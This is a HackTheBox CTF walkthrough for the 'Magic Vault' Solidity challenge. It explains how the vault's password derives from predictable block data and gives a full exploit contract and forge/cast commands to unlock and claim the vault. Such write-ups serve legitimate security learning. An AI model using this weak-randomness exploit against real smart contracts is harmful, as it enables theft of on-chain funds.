[HacktheBox] Magic Vault Blockchain Challenge Walkthrough
Hii Infosec , Today we are going to solve the Magic Vault Challenge from HackTheBox .
Magic vault challenge is powered by HackenProof | Web 3.0 bug bounty platform
Lets solve it : — →
The challenge description :
In this challenge, as we are familiar with we are given a Setup.sol
file and another challenge contract, in this case it is Vault.sol
. Let’s review it:
1st Setup.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Vault} from "./Vault.sol";
contract Setup {
Vault public immutable TARGET;
constructor() payable {
require(msg.value == 1 ether);
TARGET = new Vault();
}
function isSolved() public view returns (bool) {
return TARGET.mapHolder() != address(TARGET);
}
}
2nd Vault.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Vault {
struct Map {
address holder;
}
Map map;
address public owner;
bytes32 private passphrase;
uint256 public nonce;
bool public isUnlocked;
constructor() {
owner = msg.sender;
passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp)))));
map = Map(address(this));
}
function mapHolder() public view returns (address) {
return map.holder;
}
function claimContent() public {
require(isUnlocked);
map.holder = msg.sender;
}
function unlock(bytes16 _password) public {
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
uint128 _input = uint128(_password);
require(_input != _secretKey, "Case 1 failed");
require(uint64(_input) == _secretKey, "Case 2 failed");
require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed");
isUnlocked = true;
}
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
nonce++;
}
function _magicPassword() private returns (bytes8) {
uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
uint128 _key2 = uint128(_generateKey(2));
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
return (_secret >> 32 | _secret << 16);
}
}
what’s up with this Vault contract, huh? Can you break down what it’s actually doing? And, what do we gotta crack to beat this challenge?
First, we see a structure called Map
being made that has one address-type member called holder
.
Next, we see a few variables declared:
owner
ismsg.sender
which is the address that is deploying the contract.passphrase
is a 32-bit private hash value.nonce
is used as a counter later on in the program.isUnlocked
is as you’d expect, meant to show whether or not the chest is unlocked.
Then we see a function called constructor()
:
- This function is executed upon initial deployment of the contract and it will generate the
passphrase
by hashing theblockhash
of theblock.timestamp
, and sets the map’sholder
to the contract’s address.
The mapHolder
function returns the address of the current map holder.
The claimContent
function will let any address claim the vault as long as isUnlocked()
is set to true.
The unlock
function takes in a 16-byte _password
and then it does the following:
- First, it generates a 128-bit integer,
_secretKey
, using the first 64 bits of_magicPassword()
. Then, it checks if the 128-bit integer representation of the input_password
equals_secretKey
. If they are equal, the function will throw an error, otherwise it will continue. - Second, it verifies if the least significant 64 bits of
_password
(interpreted as an integer) are equal to_secretKey
. If not, the function will throw an error. - Third, it checks if the least significant 64 bits of
_password
(interpreted as a byte array) match the least significant 64 bits of theowner
’s address. If not, the function will throw an error.
The _generateKey
function takes a single _reductor
parameter as input. It uses this to determine the previous block’s hash by subtracting the _reductor
by the current block number.
- The block-hash and the current
nonce
value are then packed together and hashed usingkeccak256
. The resulting hash is then converted to a 256-bit integer and returned as the generated key. - The
nonce
is then incremented, ensuring a new key is generated every time this function is called.
The _magicPassword
function generates a password that is used in part of the process of unlocking the vault.
- Two keys,
_key1
and_key2
, are generated. _key1
is generated by calling_generateKey()
with a_reductor
value determined by the current block timestamp modulo 2 plus 1._key2
is generated by calling_generateKey(2)
.- These keys are then used to perform several operations involving the
passphrase
: - The
passphrase
is XOR’d with_key1
. - The resulting value is converted to a
bytes32
array, then to abytes16
array, then to a 128-bit integer. - This integer is then XOR’d with
_key2
, and the resulting value is converted to abytes16
array, then to abytes8
array. - Finally, a bitwise right shift of 32 and a left shift of 16 are performed on the
_secret
value. This result is then returned as the magic password.
Our Attack
So, now that we have an idea of how everything here is working, let’s think of a way to unlock the vault and get our flag.
The security of this whole thing depends on the timestamp of the block in which this vault was made.
- This is because the
passphrase
or timestamp of the genesis block is used when generating the keys for the password and the password itself.
So, we can just go ahead and grab the timestamp of the genesis block and use that to figure out the passphrase
by using the cast
command, a few online converters, and a solidity IDE.
Let’s get the timestamp of the genesis block:
╰─ cast age 1 --rpc-url http://139.59.188.199:32561/rpc
Sun Dec 17 17:30:43 2023
Then, we can convert this into a Unix timestamp online:
Then, we can run it through the same logic we saw in the constructor()
to figure out the passphrase.
Here is the program I used in the RemixIDE:
pragma solidity ^0.8.17;contract findPassphrase {bytes32 public passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(1702814443)))));}
From here, just compile the contract and deploy it and you’ll see your passphrase:
Now we just need to make a smart contract that uses this passphrase to unlock the vault for us.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;// Importing the Vault contract to interact with it.
import "./Vault.sol";
contract attack {
// Storing the instance of the Vault contract we want to interact with.
Vault public vault;
// Storing the passphrase for unlocking the vault.
bytes32 public passphrase;
// Nonce used for key generation.
uint256 nonce;
// Constructor that sets the address of the Vault and passphrase.
constructor(address _vault, bytes32 _passphrase) {
vault = Vault(_vault);
passphrase = _passphrase;
}
// Function for generating a 'magic' password, used for unlocking the vault.
function _magicPassword() private returns (bytes8) {
// Generating two keys with different reductors.
uint256 _key1 = _generateKey((block.timestamp % 2) + 1);
uint128 _key2 = uint128(_generateKey(2));
// XORing the passphrase with _key1, and then XORing that result with _key2.
bytes8 _secret = bytes8(bytes16(uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)));
// Returning the secret after some bit manipulation.
return ((_secret >> 32) | (_secret << 16));
}
// Function to generate a key, uses nonce and blockhash.
function _generateKey(uint256 _reductor) private returns (uint256 ret) {
// Creating a key based on the hash of a previous block and the current nonce.
ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce)));
// Incrementing the nonce for the next key generation.
nonce++;
}
// Public function to unlock the vault.
function unlock() public {
// Setting the nonce to be the same as the Vault's nonce.
nonce = vault.nonce();
// Generating the 'magic' password and extracting the most significant bits.
uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64);
// Getting the least significant bits of the owner's address.
uint128 _owner = uint128(uint64(uint160(vault.owner())));
// Unlocking the vault with the concatenated owner and secret key.
vault.unlock(bytes16((_owner << 64) | _secretKey));
// Claiming the content of the Vault.
vault.claimContent();
}
}
You’ll want to make sure that both your attack.sol
and Vault.sol
are in the same /src
folder that you are compiling the project from.
Next, we need to compile the project from and deploy it to the target, making sure to pass in the passphrase we got from earlier:
╰─ forge create src/attack.sol:attack --rpc-url http://<IP and Port>/rpc --private-key $PrivateKey --constructor-args $TargetAddress $Passphrase
If everything goes smoothly, you’ll successfully deploy the contract and you’ll get an address it was deployed to.
You can use this address to call the unlock
function we made.
╰─ cast send $DeployedToAddress "unlock()" --rpc-url http://<IP and Port>/rpc --private-key $PrivateKey
Then, we can see if it worked by asking the target address who the map holder is.
╰─ cast call $TargetAddress "mapHolder()" --rpc-url http://<IP and Port>/rpc --private-key $PrivateKey
If everything worked, it should be the same as the address our contract was deployed to:
We can verify our results by asking the setup address if we solved the challenge:
╰─ cast call $SetupAddress "isSolved()" --rpc-url http://<IP and Port>/rpc
If this returns as a one instead of a zero, it means we solved the problem
and we can visit the /flag endpoint to get our flag
Thanks for reading :)